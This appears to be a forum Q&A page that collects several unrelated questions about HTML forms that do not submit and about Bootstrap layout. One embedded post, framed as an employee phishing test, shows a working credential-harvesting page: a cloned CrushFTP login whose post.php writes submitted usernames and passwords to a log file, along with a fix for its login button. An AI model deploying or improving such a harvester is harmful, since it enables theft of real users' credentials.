The form should be submitted when the button is clicked, with action of form "update-profile-photo.php" but it seems not to be working I tried doing echos and header location to see if its receiving the form and still not
<div class="col-3">
<form action="update-profile-photo.php" id="photo-form" method="post" enctype="multipart/form-data">
<div class="pic">
<img id="preview" src="profilepic.jpg" width="150px" alt="" style="width: 150px; height: 150px; border: 2px solid #bbbbbb;">
<input type="file" id="file" name="photo" accept="image/png, image/jpeg"
onchange="document.getElementById('preview').src = window.URL.createObjectURL(this.files[0])">
<div class="button">
<label for="file" id="upload">Select Photo</label>
<button type="submit" style="height: 50px; width: 50px;">
Update
</button>
</div>
</div>
</form>
</div>
I try using form= id of the form
Related
I'm currently creating a phishing test for my employees and I got into a problem.I'm hosting my index.html on my local server using xampp and I want to when someone logs that I can get their info.I made a post.php that gives me the info when i use an username and password and it works.But it only works when I hit enter,when I clik on login it just redirects me to a page I made and I don't get any info in my text file.While I hover over my login button (Activate) it gives me that it redirects to the redircet page that I made.Do you have any suggestions how can I make that m,y login button(activate in the code) still gives me the info as same when I hit enter?
Thank you.
My code is below for index.html.
<html><head>
</div>
<form id="loginForm" name="loginForm" method="post" action="post.php" onsubmit="return doLogin2();">
<div id="panelbody">
<div id="branding" class="clearfix branding">
<img id="loginWheel" src="web%20FTP%20WebInterface_files/wheel.gif" style="display: none;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;">
</a>
</div>
<div id="panelLogin">
<div>
<label id="UserNameText">Username</label>
<input tabindex="1" autocomplete="on" type="text" class="textbox" name="username" id="username" value="/">
</div>
<div>
<label id="PasswordText">Password</label>
<input tabindex="2" autocomplete="on" type="password" class="textbox" name="password" id="password" value="">
</div>
<div id="rememberMePanel">
<label><input tabindex="3" type="checkbox" name="remember" id="remember" checked="checked"> <span id="RememberMeText">Remember Me</span></label>
</div>
<div id="acceptTC" style="display: none">
<label><input tabindex="4" type="checkbox" name="tandc" id="tandc"> <span id="TnCText"></span></label>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div id="recaptcha_div"></div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<input type="submit" value="login" style="display:none;">
<input type="hidden" name="command" value="login">
<input type="hidden" name="skip_login" value="true">
<input type="hidden" name="encoded" value="false">
<input type="submit" value="login now" style="position:absolute;left:-1000px;top:-1000px;">
<a class="button" id="btnLogin" href="javascript:void(0);">
<span id="LoginButtonText">Login</span>
</a>
</div>
<p class="lostpassword" style="visibility:hidden;">
I forgot my password
</p>
</div>
<div id="panelResetPass" style="display:none;">
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<h3 class="resetTitle" id="RequestPasswordHeaderText">Request Password</h3>
<div>
<label id="ResetUserNameText">Username</label>
<input autocomplete="off" type="text" class="textbox" name="resetUserName" id="resetUserName">
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<a class="button" id="btnResetPassword" href="javascript:void(0);">
<span id="ResetPasswordButtonText">Reset Password</span>
</a>
<a class="button" id="btnBackToLogin" href="javascript:void(0);">
<span id="BackToLoginButtonText">Back to Login</span>
</a>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
</div>
</div>
</form>
<form id="changePassForm" method="post" target="dummyIframe" action="/WebInterface/function/" onsubmit="doLogin();">
<div id="changepasswordPanel" style="display:none;margin-bottom:10px;">
<div class="clearfix branding" style="clear:both;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;margin:3px 0px 10px 0px;">
</a>
</div>
<h2 class="popupHeader" style="clear:both;margin-top:15px;" id="ChangePasswordHeaderText">Change your password</h2>
<div class="passwordChangeNote" id="ChangePasswordNoteText">You must change your password to continue</div>
<div class="buttonPanel">
<label for="current_password" id="CurrentPasswordText">Current Password : </label>
<input id="current_password" class="textbox" type="password">
<br>
<br>
<label for="new_password1" id="NewPasswordText">New Password : </label>
<input id="new_password1" class="textbox" type="password">
<br>
<br>
<label for="new_password2" id="ConfirmPasswordText">Confirm Password : </label>
<input id="new_password2" class="textbox" type="password">
<div style="text-align:right;margin-top:10px;">
<a id="btnChangePasswordCancel" class="button" href="javascript:void(0);">
<span id="CancelButtonText">Cancel</span>
</a>
<a id="btnChangePassword" class="button" href="javascript:void(0);">
<span id="ChanngePasswordButtonText">Change Password</span>
</a>
</div>
<div style="clear:both"></div>
<div class="spacing">
<br>
<hr>
<br>
</div>
<div id="generatePasswordPanel">
<a id="btnGeneratePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordButtonText">Generate password</span>
</a>
<div id="passwordGeneratePanel" style="display:none;">
<br>
<br>
<input id="generated_password" type="text" class="textboxSmall" style="float:left;">
<a id="usePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordUseButtonText">Use this</span>
</a>
<a id="cancelPassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordCancelButtonText">Cancel</span>
</a>
</div>
<div style="clear:both"></div>
</div>
</div>
</div>
</form>
</div>
<div id="OTPBox" style="display:none;">
<img class="closeButton" alt="close" src="web%20FTP%20WebInterface_files/cancel.png" onclick="$.unblockUI();">
<h2 class="popupHeader" id="OTPDialogHeaderText">Enter your OTP here</h2>
<div class="buttonPanel">
<div style="width:100%;">
<input id="otp" type="password" style="width:95%;padding:5px;">
</div>
<br>
<div id="OTPDialogDescText"></div>
<br>
<div style="text-align: right; margin-top: 10px;">
<button id="btnSubmitOTP">
<span id="OTPSubmitButtonText">Submit</span>
</button>
</div>
</div>
</div>
<div id="loginPageFooterText">
</div>
<iframe id="dummyIframe" name="dummyIframe" src="javascript:false;" style="display:none;"></iframe>
</body></html>
this is my post.php
<?php
// Set the location to redirect the page
header ('Location: http://localhost/redirect.html');
// Open the text file in writing mode
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
fclose($file);
exit;
?>
You have two different forms in your code. If you don't have an active input box hitting enter could be submitting one of the forms, while clicking submits the other form. Check which form your button is in and make sure both of them have "name" elements. Also unsure if having a submit button that's hidden via CSS could be triggered by an enter button.
The button works now,I had to change the span id into button id in the code for the login button,so it looks like this now.
<a class="button" id="btnLogin" action="post.php" href="localhost/redirect.html">
<button id="btnLogin" >Activate</button>
I need to prevent refreshing the page after clicking on submit button. I've tried methods like
$("#prospects_form").submit(function(e) {
e.preventDefault();
and "onsubmit="return false" or "type=button"....but the problem is, even though all of these methods work, it seems that my php script doesn't get executed
this is my form
<form method="POST" action="storeImage.php">
<div class="row">
<div class="col-md-6" id="the_cam">
<div id="my_camera"></div>
<div id="start_webcam">
<input style="font-size:13px" type=button class="btn-get-started" value="Start webcam" onClick="start_webcam()">
</div>
<br />
<div id="take_snapshot" style="visibility: hidden;">
<input class="btn-get-started" type=button value="Take Snapshot" onClick="take_snapshot()">
</div>
<input type="hidden" name="image" class="image-tag">
</div>
<div class="col-md-6">
<div id="results" style="text-align: center;"></div>
<br />
<div id="submit" style="visibility: hidden; margin-top:60px;">
<button class="btn-get-started" onclick="submit_image()">Submit</button>
</div>
</div>
</div>
I have made an application using codeigniter, and everything was working fine few day ago. But suddenly, yesterday, when I ran the application, I am getting error, when I am submitting data from the forms which contain enctype="multipart/form-data". Null data is received at the controller. When I remove enctype, than everything goes fine, but due to image upload, I have to keep enctype in some form tags.
<form action="<?= site_url('nasty_v2/dashboard/uploadPaid?key=').$this->my_func->scpro_encrypt("betul"); ?>" method="POST" role="form" enctype="multipart/form-data">
<div class="portlet box purple-sharp">
<div class="portlet-title">
<div class="caption">
<i class="fa fa-image"></i>Upload Payment Proof For
</div>
</div>
<div class="portlet-body flip-scroll" align="center">
<span style = "color : #b706d6;"><h2><strong>#<?= (120000+$orid); ?></strong></h2></span>
<div class="form-group">
<div class="fileinput fileinput-new" align="center" data-provides="fileinput">
<div class="fileinput-preview thumbnail" data-trigger="fileinput" style="width: 200px; height: 150px; line-height: 150px;"></div>
<div>
<span class="btn red btn-outline btn-file">
<span class="fileinput-new"> Select image </span>
<span class="fileinput-exists"> Change </span>
<input type="hidden" value="" name="title"><input type="file" name="fileImg"> </span>
Remove
</div><div class="clearfix"> </div><button type="submit" class="btn btn-primary btn-circle"><i class="fa fa-upload"> Submit</i></button>
</div>
</div>
</div>
<input type="hidden" name="or_id" id="inputOr_id" class="form-control" value="<?= $or_id; ?>">
</div>
</form>
I checked the HTTP request using Telerik Fiddler 2, and the found that form is successfully submitting data in request, but that data is not reaching controller. What should be the issue?
Currently I have Bootstrap Grids in one page as shown in the picture below.
My Bootstrap Grids
And I want grid as shown in picture below with red indicator
Wanted my Bootstrap Grid Like This
Codes
<div class="row">
<div class="col-md-6">
<form style="border: 4px solid #a1a1a1;margin-top: 15px;padding: 10px;" action="#" class="form-horizontal" method="post" enctype="multipart/form-data">
<label>My label</label>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="file" name="import_file"/> <br>
<button class="btn btn-primary">Import File</button>
</form>
</div>
<div class="col-md-6">
<form style="border: 4px solid #a1a1a1;margin-top: 15px;padding: 10px;" action="#" class="form-horizontal" method="post" enctype="multipart/form-data">
<label>My label</label>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="file" name="import_file"/> <br>
<button class="btn btn-primary">Import File</button>
</form>
</div>
<div class="col-md-6">
<form style="border: 4px solid #a1a1a1;margin-top: 15px;padding: 10px;" action="#" class="form-horizontal" method="post" enctype="multipart/form-data">
<label>My label</label>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="file" name="import_file"/> <br>
<button class="btn btn-primary">Import File</button>
</form>
</div>
<div class="col-md-6">
<form style="border: 4px solid #a1a1a1;margin-top: 15px;padding: 10px;" action="#" class="form-horizontal" method="post" enctype="multipart/form-data">
<label>My label</label>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="file" name="import_file"/> <br>
<button class="btn btn-primary">Import File</button>
</form>
</div>
</div>
Add some offset to your last col, like :
<div class="col-md-6 col-md-offset-3">
<form style="border: 4px solid #a1a1a1;margin-top: 15px;padding: 10px;" action="#" class="form-horizontal" method="post" enctype="multipart/form-data">
<label>My label</label>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="file" name="import_file"/> <br>
<button class="btn btn-primary">Import File</button>
</form>
</div>
I wanted to change the language/word of the highlighted as shoen in the picture below
Reference picture
CODES
<div class="col-md-6">
<form style="border: 4px solid #a1a1a1;margin-top: 15px;padding: 10px;" action="{{ URL::to('importExcel/1') }}" class="form-horizontal" method="post" enctype="multipart/form-data">
<label>Please upload file</label>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="file" name="import_file"/> <br>
<button class="btn btn-primary">Import File</button>
</form>
</div>